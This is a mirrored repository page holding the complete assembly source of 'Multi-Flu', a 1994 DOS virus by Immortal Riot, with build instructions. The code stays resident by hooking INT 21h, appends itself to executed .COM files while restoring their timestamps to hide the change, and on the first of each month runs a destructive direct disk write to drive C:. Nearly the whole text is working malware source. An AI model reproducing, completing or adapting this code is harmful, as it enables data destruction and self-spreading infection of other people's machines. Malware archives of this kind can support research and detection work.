mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
370 lines
11 KiB
NASM
370 lines
11 KiB
NASM
|
; Virusname: Multi-Flu
|
||
|
; Origin : Sweden
|
||
|
; Author : Metal Militia/Immortal Riot
|
||
|
;
|
||
|
; Multi-Flu's a resident infector of .COM files (w/the exception of
|
||
|
; COMMAND.COM when they're executed. If the date's the first of any
|
||
|
; month it'll overwrite 9999 sectors on the C: drive, thereby rendering
|
||
|
; it useless. After this it still goes resident though, just in case the
|
||
|
; user started the infected file from some other drive.
|
||
|
;
|
||
|
; To assembly this: Use Tasm Filename.asm
|
||
|
; Tlink Filename.obj
|
||
|
; Exe2bin Filename.exe Virus.com
|
||
|
|
||
|
CODE SEGMENT
|
||
|
ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
|
||
|
|
||
|
SVIR EQU $ ; Start of FULL virus code
|
||
|
|
||
|
|
||
|
VLENGTH EQU EOV-SVIR ; Size of virus
|
||
|
GTHANG EQU 1994h ; Paragraphs from TOP O' MEM
|
||
|
; to put us
|
||
|
|
||
|
ENTRY: CALL GETDELTA ; Get the DELTA offset
|
||
|
NOP
|
||
|
GETDELTA:
|
||
|
POP BP
|
||
|
SUB BP,OFFSET(GETDELTA)-1 ; Calculate it
|
||
|
|
||
|
START PROC NEAR
|
||
|
CALL ROCKME ; Find total number o' paragraphs
|
||
|
SUB AX,GTHANG ; Get segment of where our copy
|
||
|
JMP PUSH_ME ; might be
|
||
|
db "COPY ME, SO I CAN TRAVEL!!!!!"
|
||
|
PUSH_ME:
|
||
|
PUSH AX
|
||
|
POP ES
|
||
|
JMP PUSH_ME_AGAIN_CAUSE_I_SAY_SO
|
||
|
db "Why am i so fly? ;)"
|
||
|
PUSH_ME_AGAIN_CAUSE_I_SAY_SO:
|
||
|
CALL MOVE_DA_LIL_BABE
|
||
|
PUSH CS
|
||
|
POP ES ; Get ID thang from segment
|
||
|
; (viral=
|
||
|
CALL FUNKY
|
||
|
|
||
|
ALREADY_IN_DA_MEM_THANG:
|
||
|
CMP CX,CS:[BP+OFFSET(TAG)] ; Already in memory?
|
||
|
JZ ORGIT ; If so, RET(urn) to org. proggy
|
||
|
JMP INSTALL ; Else, install us..
|
||
|
|
||
|
ORGIT: LEA SI,[BP+OFFSET(FIRSTCODE)]
|
||
|
MOV CX,SMILELEN
|
||
|
|
||
|
CALL FUNKY ; Lets 'FUNK' out :)
|
||
|
|
||
|
MOV DI,100h ; di equal 100h (sov)
|
||
|
|
||
|
REP MOVSB ; Copy org. bytes to da place
|
||
|
|
||
|
CALL FUNKY ; Yet anotha FUNK calling
|
||
|
|
||
|
MOV AX,100h ; AX = 100h
|
||
|
PUSH AX ; And push it....
|
||
|
RET ; Return to org. dude
|
||
|
|
||
|
MOVE_DA_LIL_BABE:
|
||
|
MOV CX,ES:TAG ; Is mah lil' grafitti tag here?
|
||
|
|
||
|
FUNKY: RET ; RET to code caller
|
||
|
|
||
|
INSTALL:
|
||
|
MOV AX,3521h ; Get vector (INT 21h)
|
||
|
INT 21h ; --------------^
|
||
|
|
||
|
CALL FUNKY
|
||
|
|
||
|
MOV CS:[BP+OFFSET(OLD21A)],BX ; Save the old one
|
||
|
MOV CS:[BP+OFFSET(OLD21B)],ES ; here right now
|
||
|
|
||
|
CALL FUNKY
|
||
|
CALL ROCKME ; See above in the code
|
||
|
|
||
|
SUB AX,GTHANG ; How much to put MEMRES
|
||
|
PUSH AX ; Mhmmm..
|
||
|
JMP PUSH_SOME_MORE_ONES
|
||
|
DB "Mmm.. Mmm.. Mmm.."
|
||
|
|
||
|
PUSH_SOME_MORE_ONES:
|
||
|
PUSH AX
|
||
|
POP ES ; Segment (destination)
|
||
|
JMP PUSH_THANG
|
||
|
DB "For the smell of it!!!!!"
|
||
|
PUSH_THANG:
|
||
|
PUSH CS
|
||
|
POP DS ; Segment (source)
|
||
|
|
||
|
CALL FUNKY
|
||
|
|
||
|
MOV SI,BP ; Start of virus = DELTA thang
|
||
|
MOV DI,0 ; Sub di,di or Xor di,di
|
||
|
JMP VIR_LEN_ME_NOW
|
||
|
db "MULTIMULTIMULTIMULTI"
|
||
|
VIR_LEN_ME_NOW:
|
||
|
MOV CX,OFFSET VLENGTH ; Virus length
|
||
|
|
||
|
REP MOVSB ; Move our lazy ass there
|
||
|
|
||
|
POP DS
|
||
|
MOV DX,OFFSET(VECTOR) ; Now, offset *OUR* INT21
|
||
|
|
||
|
CALL FUNKY
|
||
|
|
||
|
MOV AX,2521h ; Set vector (INT 21h)
|
||
|
INT 21h
|
||
|
|
||
|
PUSH CS
|
||
|
POP ES
|
||
|
|
||
|
CALL FUNKY
|
||
|
|
||
|
PUSH CS
|
||
|
POP DS ; Segments (reset)
|
||
|
|
||
|
MOV AH,2Ah ; Get date
|
||
|
INT 21h
|
||
|
|
||
|
CMP DL,1 ; First of any month?
|
||
|
JNE PHUNKSTER ; If not, go on as normal
|
||
|
; Else, NUKE!!!!!
|
||
|
FUCK_EM:
|
||
|
MOV AL,2 ; [C:] drive
|
||
|
MOV CX,270h ; 9999 sectors
|
||
|
CWD ; starting with the 'BOOT'
|
||
|
INT 26h ; Direct diskwrite
|
||
|
POPF
|
||
|
PHUNKSTER:
|
||
|
JMP ORGIT
|
||
|
|
||
|
START ENDP
|
||
|
|
||
|
ROCKME PROC NEAR
|
||
|
INT 12h ; Gimme total numba
|
||
|
jmp cx_me ; o' kilobytes mem
|
||
|
|
||
|
db "MULTI-FLU v1.0"
|
||
|
|
||
|
cx_me:
|
||
|
MOV CX,1024 ; one kilobyte equal 1024 bytes
|
||
|
jmp multi_kewl
|
||
|
|
||
|
db "(c) 1994 Metal Militia"
|
||
|
|
||
|
multi_kewl:
|
||
|
MUL CX ; a 'multiply' i guess
|
||
|
jmp seg_me
|
||
|
|
||
|
db "Immortal Riot"
|
||
|
|
||
|
seg_me:
|
||
|
MOV CX,16 ; Segment (16 bytes in each)
|
||
|
jmp div_kewl
|
||
|
|
||
|
db "Sweden"
|
||
|
|
||
|
div_kewl:
|
||
|
DIV CX ; Divide (AX & DX by CX)
|
||
|
|
||
|
RET ; Back to code caller
|
||
|
ROCKME ENDP
|
||
|
|
||
|
TSMILE EQU $
|
||
|
|
||
|
IRNOP: XCHG AX,AX ; Or.. shall we say, NOP!!!!!
|
||
|
DB 0BBh ; BX (MOV)
|
||
|
VMENOW DW 0 ; offset our code
|
||
|
PUSH BX ; push....
|
||
|
RET ; and jump to it
|
||
|
|
||
|
BSMILE EQU $
|
||
|
SMILELEN EQU BSMILE-TSMILE ; Length of this "procedure"
|
||
|
|
||
|
OLD21A DW 0
|
||
|
OLD21B DW 0 ;Original INT 21h vector
|
||
|
|
||
|
TEXTONE DB "M"
|
||
|
|
||
|
BUFFA DW 0 ; Infectioncheck buffa
|
||
|
|
||
|
TEXTTWO DB "U"
|
||
|
|
||
|
EXEPHILEZ DB 'MZ' ; To see if the file's and .EXE
|
||
|
|
||
|
TEXTTHREE DB "L"
|
||
|
|
||
|
OTHEREXEZ DB 'ZM' ; See above
|
||
|
|
||
|
COMMIECOM DB 0e9h, 0ddh ; Marker for COMMAND.COM in
|
||
|
; MSDOS v6.x (perhaps others too)
|
||
|
TEXTFOUR DB "T"
|
||
|
|
||
|
FIRSTCODE DB 0CDh
|
||
|
DB 20h ; Here we save the org. bytes
|
||
|
DB SMILELEN-2 DUP ('?')
|
||
|
|
||
|
TEXTFIVE DB "i"
|
||
|
|
||
|
OLDTIME DW 0
|
||
|
OLDDATE DW 0 ;Old file time and date
|
||
|
|
||
|
NOCHEINTEXT DB "FLU"
|
||
|
|
||
|
FAKEIT PROC NEAR ; It's used to call org. INT 21h
|
||
|
PUSHF
|
||
|
CALL DWORD PTR CS:OLD21A ; Call the original
|
||
|
RET ; RET to code caller
|
||
|
FAKEIT ENDP
|
||
|
|
||
|
VECTOR PROC NEAR ;INT 21h vector
|
||
|
NOP
|
||
|
|
||
|
CMP AX,4B00h ; Exec 'em?
|
||
|
JE VTRIGGA ; If so, infect
|
||
|
|
||
|
JMP DWORD PTR CS:OLD21A ; switch back to original INT21
|
||
|
VTRIGGA:
|
||
|
PUSH AX
|
||
|
PUSH BX
|
||
|
PUSH CX
|
||
|
PUSH DX
|
||
|
PUSH SI
|
||
|
PUSH DI
|
||
|
PUSH ES
|
||
|
PUSH DS
|
||
|
PUSH BP ; Save all reg's
|
||
|
|
||
|
INFECT: MOV AX,3D02h ; READ/WRITE (open file)
|
||
|
CALL FAKEIT
|
||
|
|
||
|
XCHG BX,AX ; mov bx,ax
|
||
|
|
||
|
MOV AX,5700h ; save the
|
||
|
CALL FAKEIT
|
||
|
|
||
|
MOV CS:OLDTIME,CX ; original time
|
||
|
MOV CS:OLDDATE,DX ; and date here
|
||
|
JMP TIMER
|
||
|
|
||
|
DB "All viruswriters worldwide"
|
||
|
|
||
|
TIMER:
|
||
|
MOV CX,2 ; two bytes
|
||
|
JMP PUSH_IT_RIGHT_AT_THIS_MOMENT
|
||
|
|
||
|
db "are to be gratulated!!!!!"
|
||
|
|
||
|
PUSH_IT_RIGHT_AT_THIS_MOMENT:
|
||
|
PUSH CS
|
||
|
POP DS
|
||
|
JMP OPEN_DA_BUFFA_RIGHT_AWAY
|
||
|
|
||
|
DB "FLUFLUFLUFLU"
|
||
|
|
||
|
OPEN_DA_BUFFA_RIGHT_AWAY:
|
||
|
MOV DX,OFFSET BUFFA ; into this buffa
|
||
|
MOV AH,3Fh ; read 'em
|
||
|
CALL FAKEIT
|
||
|
JMP CHECK_IN_DA_BUFFA
|
||
|
|
||
|
DB "Written during SUMMERTIME!!!!!"
|
||
|
|
||
|
CHECK_IN_DA_BUFFA:
|
||
|
MOV DX,CS:BUFFA
|
||
|
CMP DX, WORD PTR [OFFSET IRNOP] ; Check if already infected
|
||
|
JE QUIT_IT ; if so, exit
|
||
|
CMP DX, WORD PTR [OFFSET EXEPHILEZ] ; Check if .EXE
|
||
|
JE QUIT_IT ; if so, exit
|
||
|
CMP DX, WORD PTR [OFFSET OTHEREXEZ] ; See above
|
||
|
JE QUIT_IT ; if so, exit
|
||
|
CMP DX, WORD PTR [OFFSET COMMIECOM] ; Check if COMMAND.COM
|
||
|
JNE KEEP_ON_SPREADING ; if not, infect the fucker
|
||
|
QUIT_IT:
|
||
|
JMP ENDINF ; Outa here (for now.. <g>)
|
||
|
KEEP_ON_SPREADING:
|
||
|
CALL SOF ; Goto start of file
|
||
|
|
||
|
MOV CX,SMILELEN ; Offset the code we'll have first in
|
||
|
JMP UNIROCKER ; infected file, and jmp
|
||
|
db "Happy happy! Joy joy!"
|
||
|
UNIROCKER:
|
||
|
MOV DX,OFFSET(FIRSTCODE) ; Offset da buffa
|
||
|
|
||
|
MOV AH,3Fh ; Read from it
|
||
|
CALL FAKEIT ; 'Fake' an INT 21h
|
||
|
|
||
|
CALL EOF ; Goto end of file
|
||
|
|
||
|
ADD AX,100h
|
||
|
JMP GO_FOR_IT
|
||
|
db "Winterkvist is"
|
||
|
|
||
|
GO_FOR_IT:
|
||
|
MOV CS:VMENOW,AX ; Branch (set up code offset)
|
||
|
|
||
|
MOV CX,VLENGTH ; Length of virus code
|
||
|
JMP WRITE_DA_VIRUS
|
||
|
db "a looser!!!!!"
|
||
|
WRITE_DA_VIRUS:
|
||
|
CWD ; Sub dx,dx or Xor dx,dx
|
||
|
|
||
|
MOV AH,40h ; Write it
|
||
|
CALL FAKEIT
|
||
|
|
||
|
CALL SOF ; FPOINTER thang
|
||
|
|
||
|
MOV CX,SMILELEN ;Length of branch code
|
||
|
JMP WRITE_FIRST_BYTES
|
||
|
db "Greetings to the rest"
|
||
|
WRITE_FIRST_BYTES:
|
||
|
MOV DX,OFFSET(IRNOP) ;Write the branch code
|
||
|
|
||
|
MOV AH,40h ;Write file or device
|
||
|
CALL FAKEIT
|
||
|
JMP ENDINF
|
||
|
db "of IMMORTAL RIOT"
|
||
|
|
||
|
ENDINF: MOV CX,OLDTIME
|
||
|
MOV DX,OLDDATE
|
||
|
JMP ORG_TIME_BACK
|
||
|
DB "This is property of IR"
|
||
|
|
||
|
ORG_TIME_BACK:
|
||
|
MOV AX,5701h ; restore original date/time
|
||
|
CALL FAKEIT
|
||
|
|
||
|
MOV AH,3Eh ; close the file
|
||
|
CALL FAKEIT
|
||
|
|
||
|
NO_FILE:
|
||
|
POP BP ; Pop all register (restore)
|
||
|
POP DS
|
||
|
POP ES
|
||
|
POP DI
|
||
|
POP SI
|
||
|
POP DX
|
||
|
POP CX
|
||
|
POP BX
|
||
|
POP AX
|
||
|
|
||
|
JMP DWORD PTR CS:OLD21A ; Mission completed, back to old
|
||
|
EOF:
|
||
|
MOV AX,4202h ; Goto end of file
|
||
|
JMP XOR_EM
|
||
|
SOF:
|
||
|
MOV AX,4200h ; Goto start of file
|
||
|
XOR_EM:
|
||
|
SUB CX,CX
|
||
|
CWD
|
||
|
CALL FAKEIT
|
||
|
RET ; RET to code caller
|
||
|
VECTOR ENDP
|
||
|
|
||
|
TAG DW 1234h ; Digi grafitti TAG for checking
|
||
|
; if it's already in memory
|
||
|
EOV EQU $ ; Here the fun ends guys
|
||
|
|
||
|
CODE ENDS
|
||
|
END
|